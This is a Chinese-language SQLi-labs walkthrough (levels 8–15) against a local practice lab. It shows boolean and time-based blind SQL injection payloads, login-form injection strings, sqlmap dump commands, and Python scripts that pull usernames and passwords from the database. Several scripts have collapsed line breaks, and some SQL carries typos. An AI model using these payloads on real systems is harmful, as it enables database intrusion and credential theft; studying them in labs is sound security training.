SQL-LABS

 less8

and 1=1--+

 1=2

 发现存在注入点

接下来我们会接着用联合查询

 和以往的题目不一样没显错位,也就是没有报错的内容,尝试用盲注

布尔型

length()返回长度

substr()截取字符串(语法substr(str,pos,len);)

ascii()返回字符的ASCII码,也就是将字符变成数字

时间型

sleep()将程序挂起一段时间为多少

if(expr1,expr2,expr3)判断语句,如果第一个语句正确就执行第二个语句如果错误执行第三个语句。

?id=1' and (length(database()))=8--+      页面正常

 判断之后发现长度是等于8的

猜解数据库的长度

id=1' and (ascii(substr(database(),1,1)))=115#     返回正常,第一位是s

第一个1代表的是位置,第二个1代表的是个数,也就是说第一个的第一位。

id=1' and (ascii(substr(database(),2,1)))=101#     返回正常,第二位是e

也就是判断将截取下来的字符进行ASCII编码是否等于对应的数字

猜解表名

id=1' and(ascii(substr(select table_name from information_schema.table where table_schema=database() limit 0,1),1,1)))=101--+

limit和substr不一样,limit是从0开始的

猜字段

id=1' and(ascii(substr(select cloumn_name from information_schema.cloumns where table_name='emails' limit 0,1),1,1)))=105--+ 

返回正常,说明emails表中的列名称第一位是i,这样下去就可以了

我们也可以使用脚本

第一种

import requests
import stringurl = 'http://127.0.0.1/sql/Less-8/'def make_payload(query):return url + "?id=" + querydef make_request(payload):res = requests.get(payload)return 'You are in...........' in res.text# 猜解数据库长度
print('[+] 正在猜解数据库长度......')
db_name_len = 0
for i in range(31):payload = make_payload("1'and length(database())=%d--+" % i)if make_request(payload):db_name_len = iprint('数据库长度为:', db_name_len)break
else:print('error!')# 猜解数据库名字
print("[+] 正在猜解数据库名字......")
db_name = ''
for i in range(1, db_name_len + 1):for k in string.ascii_lowercase:payload = make_payload("1'and substr(database(),%d,1)='%s'--+" % (i, k))if make_request(payload):db_name += kbreak
print("数据库为:", db_name)# 猜解表的数量
print("[+] 正在猜解表的数量......")
tab_num = 0
while True:payload = make_payload("1'and (select count(table_name) from information_schema.tables where table_schema='security')=%d--+" % tab_num)if make_request(payload):print("%s数据库共有%d张表" % (db_name, tab_num))breakelse:tab_num += 1# 猜解表名
print("[+] 开始猜解表名......")
for i in range(1, tab_num + 1):tab_len = 0while True:payload = make_payload("1'and (select length(table_name) from information_schema.tables where table_schema='security' limit %d,1)=%d--+" % (i-1, tab_len))if make_request(payload):breaktab_len += 1if tab_len == 30:print('error!')breaktab_name = ''for j in range(1, tab_len + 1):for m in string.ascii_lowercase:payload = make_payload("1'and substr((select table_name from information_schema.tables where table_schema='security' limit %d,1),%d,1)='%s'--+" % (i-1, j, m))if make_request(payload):tab_name += mbreakprint("[-] 第%d张表名为: %s" % (i, tab_name))# 猜解表下字段dump_num = 0while True:payload = make_payload("1'and (select count(column_name) from information_schema.columns where table_name='%s')=%d--+" % (tab_name, dump_num))if make_request(payload):print("%s表下有%d个字段" % (tab_name, dump_num))breakdump_num += 1for a in range(1, dump_num + 1):dump_len = 0while True:payload = make_payload("1'and (select length(column_name) from information_schema.columns where table_name='%s' limit %d,1)=%d--+" % (tab_name, a-1, dump_len))if make_request(payload):breakdump_len += 1if dump_len == 30:print("error!!")breakdump_name = ''for i in range(1, dump_len + 1):for j in (string.ascii_lowercase + '_-'):payload = make_payload("1'and substr((select column_name from information_schema.columns where table_name='%s' limit %d,1),%d,1)='%s'--+" % (tab_name, a-1, i, j))if make_request(payload):dump_name += jbreakprint(dump_name)# 猜解users表下的username
print("[+] 开始猜解users表下的username......")
usn_num = 0
char = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_-"
while True:payload = make_payload("1'and (select count(username) from security.users)=%d--+" % usn_num)if make_request(payload):breakusn_num += 1
for i in range(1, usn_num + 1):usn_len = 0while True:payload = make_payload("1'and (select length(username) from security.users limit %d,1)=%d--+" % (i-1, usn_len))if make_request(payload):breakusn_len += 1usr_name = ''for k in range(1, usn_len + 1):for m in char:payload = make_payload("1'and substr((select username from security.users limit %d,1),%d,1)='%s'--+" % (i-1, k, m))if make_request(payload):usr_name += mbreakprint(usr_name)# 猜解users表下的password
print("[+] 开始猜解users表下的password......")
usn_num = 0
char = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_-@!"
while True:payload = make_payload("1'and (select count(password) from security.users)=%d--+" % usn_num)if make_request(payload):breakusn_num += 1
for i in range(1, usn_num + 1):usn_len = 0while True:payload = make_payload("1'and (select length(password) from security.users limit %d,1)=%d--+" % (i-1, usn_len))if make_request(payload):breakusn_len += 1usr_name = ''for k in range(1, usn_len + 1):for m in char:payload = make_payload("1'and substr((select password from security.users limit %d,1),%d,1)='%s'--+" % (i-1, k, m))if make_request(payload):usr_name += mbreakprint(usr_name)

 

 我们是可以用脚本爆出来的,但是需要等一会

第二种

 

这个先猜出个数

这个是显示具体的库名

表名和字段也是一样的

import requestsdef get_dblength(base_url):    url = base_url+"' and (length(database())={0}) %23"    base_num = 100    for i in range(0,base_num):        url1 = url.format(i)        print(url1)        result = len(requests.get(url1).text)        if result  == base_result:            print("库名长度:",i)            break    return i
def get_dbname(base_url,db_length):    dict = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'    dbname = ""    url = base_url+"' and ascii(substr(database(),{0},1))={1} %23"    for i in range(1,db_length+1):        for m in dict:            m_ascii = ord(m)            url2 = url.format(i,m_ascii)            result = requests.get(url2)            if len(result.text) == base_result:                dbname += m                print(dbname)                break    print("库名:",dbname)
def get_table_length():    url = base_url + "' and (select length(table_name) from information_schema.tables where table_schema = database() limit {0},1)={1}%23"    for i in range(0,20):        url1 = url.format(2,i)        result = requests.get(url1)        if base_result == len(result.text):            print("表名长度:",i)            break    return i
def get_table_name(table_length):    dict = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'    table_name = ""    url = base_url + "' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit {0},1),{1},1))={2} %23"    for i in range(1,table_length + 1):        for m in dict:            ascii_m = ord(m)            url1 = url.format(2,i,ascii_m)            result = requests.get(url1).text            if base_result == len(result):                table_name +=m                print("表名:",table_name)                break    return table_name
if __name__ == '__main__':    base_url = "http://127.0.0.1/sqli-labs/Less-8/?id=1"    base_result = len(requests.get(base_url).text)    dblength = get_dblength(base_url)    get_dbname(base_url, dblength)    get_table_length()    get_table_name(7)

SQLMAP

1. 基础指令:

–dbs 获取库名
-D 指定库
–tables 表
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --dbs -D mysql --tables
-T 指定表
–columns 跑字段
–dump 获取数据(高危指令)
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --dbs -D mysql -T user --dump
 

 less9

同样是盲注

我们尝试一下1=1和1=2发现他们的页面都是一样的,这里要注意的是不代表这里不存在注入,上面我们提到时间盲注,这也就是和上面的区别。

布尔盲注有两种页面,但是时间没有,只有一种页面,不管对与错

时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。

?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
 
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
 
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
 
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
 
 ?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。

下面是两个脚本

# -*- coding: utf-8 -*-
import requests
import time
url = 'http://127.0.0.1/sqli/Less-8/?id=1'
def check(payload):url_new = url + payloadtime_start = time.time()content = requests.get(url=url_new)time_end = time.time()if time_end - time_start >5:return 1
result  = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyz'
for i in xrange(1,100):for c in s:payload = "'and if(substr(database(),%d,1)='%c',sleep(5),1)--+" % (i,c)if check(payload):result += cbreakprint result
# -*- coding: utf-8 -*-
import requests
import time
url = 'http://127.0.0.1/sqli/Less-8/?id=1'
def check(payload):url_new = url + payloadtime_start = time.time()content = requests.get(url=url_new)time_end = time.time()if time_end - time_start >5:return 1
result  = ''
panduan = ''
ll=0
s = r'0123456789abcdefghijklmnopqrstuvwxyz'
for i in xrange(1,100):for c in s:payload = "'and if(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),%d,1)='%c',sleep(5),1)--+" % (i,c)if check(payload):result += cbreakif ll==len(result):print 'table_name:  '+resultend = raw_input('-------------')ll = len(result)print result

 第十关和第九关差不多,只是把单引号换成双引号

less11和less12

可以发现页面就发生变化了,是账户登录页面。那么注入点就在输入框里面。前十关使用的是get请求,参数都体现在url上面,而从十一关开始是post请求,参数是在表单里面。我们可以直接在输入框进行注入就行

11&12

less13

十三关和十二关差不多,只需要将双引号换成单引号

less14

十四关和十一关差不多,只需要将单引号换成双引号

less15

这关和前面的十一关有点像没有显示报错信息,这就是明显的布尔盲注。因为还有错误页面和正确页面进行参考

 

现在就可以判断是单引号的闭合注入了,根据页面来看是布尔盲注

套路还是走一下

先猜解出数据库

判断数据库的长度是否是大于5的,最终发现是登录成功的

1' or length(database())>5#

 看看大于8吗? 最后发现是不大于8的

 判断大于m吗

1' or substr(database(),1,1)>'m'#

看看s

 说明第一个字母在m到s之间,试了一下是等于s的,就直接猜一下,发现是可以的

1' or substr(database(),1,8)='security'#

 后面接着看表,看看表的数量有多少,如果多的话就增加工作量,少的话就可以加快速度

1' or (select count(table_name) from information_schema.tables where table_schema=database())>5#

报错,说明表的数量是小于等于5的,还好不是很多

第一张表的长度大于5,有点多了.....  但是大于6会报错,也就是等于6

1' or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5#

 通过以上方法

得到第一个表名长6,第二个表名长8,第三个表名长6,第四个长度表名长5

 开始测

1' or mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'m'#

字符处理函数功能举例
重点 concat()没有分隔符地连接字符串select concat(c1,c2) from xxx
重点 concat_ws()指定分隔符地连接字符串select concat_ws(':',c1,c2) from xxx
重点 group_concat()以逗号分隔某列/组的数据select group_concat(c1,c2) from xxx
load_file()读取服务器文件select loadfile('/tmp/a.txt')
into outfile写入文件到服务器select 'xxxx' into outfile '/tmp/a.txt'
ascii()字符串的ASCII代码值select ascii('a')
ord()返回字符串第一个字符的ASCII值select ord('abc')
char()返回ASCII值对应的字符串select char(97)
mid()返回一个字符串的一部分select mid('abcde',1,1)
substr()返回一个字符串的一部分select substr('abcde',1,1)
length()返回字符串的长度select length('abc')
left()返回字符串最左面几个字符select left('mysql',2)
floor()返回小于或等于X的最大整数select floor(5.1)
rand()返回0-1间的一个随机数select rand()
if()三目运算select if(1>2,'A','B')
strcmp()比较字符串ASCII大小select strcmp('c','b')
ifnull()参数1为不null则返回参数1,否则参数2select ifnull(null,2)

第一张表的第一个字母是在a到m之间的,猜了是e

1' or mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e'#

所以这个要不断的去试,才能试出来,第四个表为users

看看字段

1' or length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))>5#

 根据结果要爆的字段数要小于5

字段长度

1' or length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))>5#

根据上面的方式,不断去猜解   知道username,下面的也是接着走

判断username第一条记录长度

1' or length((select username from users limit 0,1))>5#

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/192739.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

冷空气已发货,户外作业者请做好足部保暖

冷空气不间断 多地体验一夜入冬 据中国天气网消息 冷空气正在马不停蹄发货 三分之二国土需羽绒服护体 同时记得做好足部保暖。 在寒风凛冽的冬日中,对于常年在户外工作人员的群体来说,又到了一年里最难熬的时节。他们不畏严寒,在零度以下…

C#中.NET Framework4.8 Windows窗体应用通过EF访问数据库并对数据库追加、删除记录

目录 一、应用程序设计 二、应用程序源码 三、生成效果 前文作者发布了在.NET Framework4.8 控制台应用中通过EF访问已有数据库,事实上在.NET Framework4.8 Windows窗体应用中通过EF访问已有数据库也是一样的。操作方法基本一样,数据库EF模型和上下文…

TikTok与心灵成长:娱乐与启发并重

社交媒体已成为我们生活的一部分,其中TikTok以其短视频内容和创新性而闻名。然而,TikTok不仅仅是一个娱乐平台,它还具有潜力成为心灵成长的有力工具。本文将探讨TikTok如何在娱乐与启发之间取得平衡,以促进心灵成长和积极影响。 娱…

大环境之下软件测试行业趋势能否上升?

如果说,2021年对于全世界来说,都是一场极大的挑战的话;那么,2022年绝对是机遇多多的一年。众所周知,随着疫情在全球范围内逐步得到控制,无论是国际还是国内的环境,都会呈现逐步回升的趋势&#…

阿里云国际站:密钥管理服务

文章目录 一、密钥管理服务的概念 二、密钥管理服务的功能 三、密钥管理服务的优势 一、密钥管理服务的概念 密钥管理服务KMS(Key Management Service)是您的一站式密钥管理和数据加密服务平台、一站式凭据安全管理平台,提供简单、可靠、…

学开发语言 求职互联网行业的未来发展

我喜欢回答各种各样的问题,自然也喜欢记录下自己的一些观点和看法。希望给朋友们多一点参考,也欢迎交流探讨。 提问: 自考本科,学的开发语言,问互联网行业求职和发展! 作为一个资深码农,对这样…

2.3.5 交换机的VRRP技术

实验2.3.5 交换机的VRRP技术 一、任务描述二、任务分析三、具体要求四、实验拓扑五、任务实施1.交换机的基本配置 六、任务验收七、任务小结 一、任务描述 某公司的网络核心层原来采用一台三层交换机,随着网络应用的日益增多,对网络的可靠性也提出了越来…

win环境Jenkins高级配置各种插件和启动jar包

今天分享Jenkins高级配置各种插件,在看此篇之前必须先了解上一篇博客内容,因为此篇是在上篇的基础上完善的: 一、git仓库的多分支选择 想要多分支选择部署,需要全局安装Git parameter 插件 1、点击入口 来到 2、点击进入 安装一…

JVM查看内存新生代老年代回收情况,排查oom

jstat 命令 jstat - [-t] [-h] [ []] option:我们经常使用的选项有gc、gcutil vmid:java进程id interval:间隔时间,单位为毫秒 count:打印次数 每秒打印一次 jstat -gc 9162 1000S0C:年轻代第一个survivor的容量…

【设计原则篇】聊聊开闭原则

开闭原则 其实就是对修改关闭,对拓展开放。 是什么 OCP(Open/Closed Principle)- 开闭原则。关于开发封闭原则,其核心的思想是:模块是可扩展的,而不可修改的。也就是说,对扩展是开放的&#xf…

Blender--》点线面操作及其面操作的详解

接下来我会在three.js专栏中分享关于3D建模知识的文章,如果学习three朋友并且想了解和学习3D建模,欢迎关注本专栏,关于这款3D建模软件blender的安装,我在前面的文章已经讲解过了,如果不了解的朋友可以去考考古&#xf…

MySQL 社区开源备份工具 Xtrabackup 详解

文章目录 前言1. Xtrabackup 介绍1.1 物理备份与逻辑备份区别1.2 Xtrabackup 系列版本 2. Xtrabackup 部署2.1 下载安装包2.2 二进制部署2.3 程序文件介绍2.4 备份需要的权限 3. Xtrabackup 使用场景3.1 本地全量备份3.2 本地压缩备份3.3 全量流式备份3.3.1 备份到远程主机3.3.…

批量重命名软件推荐 A Better Finder Rename 12最新 for mac

A Better Finder Rename的大量重命名选项被组织成15个直观的类别,涵盖了一个伟大的文件重命名器所期望的所有文本,字符,位置,转换和截断功能。 除此之外,A Better Finder Rename提供了更多高级功能,可以满…

C 语言数组

C 语言数组 在本教程中,您将学习如何使用数组。您将借助示例学习如何声明,初始化和访问数组的元素。 数组是可以存储多个值的变量。例如,如果要存储100个整数,则可以为其创建一个数组。 示例 cint data[100];如何声明数组&…

【算法】最短路径——迪杰斯特拉 (Dijkstra) 算法

目录 1.概述2.代码实现2.1.节点类2.2.邻接矩阵存储图2.3.邻接表存储图2.4.测试 3.扩展3.1.只计算一对顶点之间的最短路径3.2.获取起点到其它节点具体经过的节点 4.应用 本文参考: LABULADONG 的算法网站 1.概述 (1)在图论中,最短…

iOS OpenGL ES3.0入门实践

一、效果图 入门实践,做的东西比较简单,效果如下: 二、关于顶点坐标和纹理坐标 绘制图片需要设置顶点坐标和纹理坐标并加载像素数据,之所以要指定两组坐标是因为纹理和顶点使用不同的坐标系,就是告诉OpenGL&#xf…

Spring整合redis的key时出现\xac\xed\x00\x05t\前缀问题

AutowiredRedisTemplate redisTemplate;User usernew User(5,"tomhs","tttt");ValueOperations opsForValue redisTemplate.opsForValue();//存放key,opsForValue.set("user"user.getId(),user);//读取数据;System.out.println(opsForValue.get…

NLP领域的突破催生大模型范式的形成与发展

当前的大模型领域的发展,只是范式转变的开始,基础大模型才刚刚开始改变人工智能系统在世界上的构建和部署方式。 1、大模型范式 1.1 传统思路(2019年以前) NLP领域历来专注于为具有挑战性的语言任务定义和设计系统&#xff0c…

【广州华锐互动】VR居家防火逃生模拟演练增强训练的真实性

VR软件开发公司广州华锐互动在消防培训领域已开发了多款VR产品,今天为大家介绍VR居家防火逃生模拟演练系统,这是一种基于虚拟现实技术的消防教育训练设备,通过模拟真实的火灾场景,让使用者身临其境地体验火灾逃生过程,…

qemu 之 uboot、linux 启动

目录 编译uboot、kernel 编译启动从 uboot 中引导启动 linux注参考 本文主要说明 arm64 在 qemu 上的相关启动。 编译 使用的是 qemu-8.1.1 版本,编译命令如下: ../configure --cc/usr/local/bin/gcc --prefix/home/XXX/qemu_out --enable-virtfs --enable-slir…